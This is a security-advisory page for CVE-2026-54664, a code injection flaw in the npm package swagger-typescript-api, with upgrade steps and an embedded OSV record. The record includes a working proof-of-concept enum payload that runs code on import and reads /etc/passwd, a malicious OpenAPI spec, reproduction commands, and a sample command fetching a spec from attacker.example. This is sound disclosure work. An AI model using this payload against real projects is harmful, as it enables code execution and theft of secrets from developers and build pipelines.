CVE-2026-54664: Swagger typescript api Swagger-typescript-api Vulnerable To Code Injection Vulnerability
HIGHCVE-2026-54664 is a HIGH (CVSS 8.3) swagger-typescript-api vulnerable to code injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Swagger typescript api libraries in the npm ecosystem. The issue involves swagger-typescript-api vulnerable to code injection via unescaped enum string values. Remediation is available by upgrading affected packages to version 13.12.2.
CVE-2026-54664 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-54664
To remediate this vulnerability, upgrade all affected Swagger typescript api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install swagger-typescript-api@13.12.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls swagger-typescript-api
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-54664, inspect your project dependencies using npm:
npm ls swagger-typescript-api
Analyze the terminal output to locate any version of Swagger typescript api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.12.2), your application is affected.
Note: The npm ls swagger-typescript-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Swagger typescript api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54664 Affected Swagger typescript api Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
swagger-typescript-api
|
npm |
< 13.12.2
|
13.12.2
|
References
Frequently Asked Questions
What is CVE-2026-54664?
Which Swagger typescript api versions are affected?
What version fixes CVE-2026-54664?
Is swagger-typescript-api affected?
What is the CVSS score of CVE-2026-54664?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5f94-x226-ccpm",
"modified" : "2026-07-29T14:33:01Z",
"published" : "2026-07-29T14:33:00Z",
"aliases" : [ "CVE-2026-54664" ],
"summary" : "swagger-typescript-api vulnerable to code injection via unescaped enum string values",
"details" : "### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call — only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) => `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** — no handling of `\"`, `\\`, newlines, or anything else. The codebase's only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum <%~ name %> {\n <%~ _.map($content, ({ key, value, description }) => {\n ...\n return [\n formattedDescription && `/** ${formattedDescription} */`,\n `${key} = ${value}`\n ].filter(Boolean).join(\"\\n\");\n }).join(\",\\n\") %>\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` — raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template's own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import('./generated.js')`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n \"components\": {\n \"schemas\": {\n \"Color\": {\n \"type\": \"string\",\n \"enum\": [\n \"red\",\n \"blue\\\";}\\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n ]\n }\n }\n },\n \"paths\": {\n \"/ping\": {\n \"get\": {\n \"operationId\": \"ping\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n name: 'Api.ts', output: process.cwd() + '/out',\n input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block — payload):**\n\n```ts\n export enum Color {\n Red = \"red\",\n BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value — they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal — escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "swagger-typescript-api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "13.12.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 13.12.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm"
}, {
"type" : "WEB",
"url" : "https://github.com/acacode/swagger-typescript-api/pull/1779"
}, {
"type" : "WEB",
"url" : "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/acacode/swagger-typescript-api"
}, {
"type" : "WEB",
"url" : "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-74", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-29T14:33:00Z",
"nvd_published_at" : null
}
}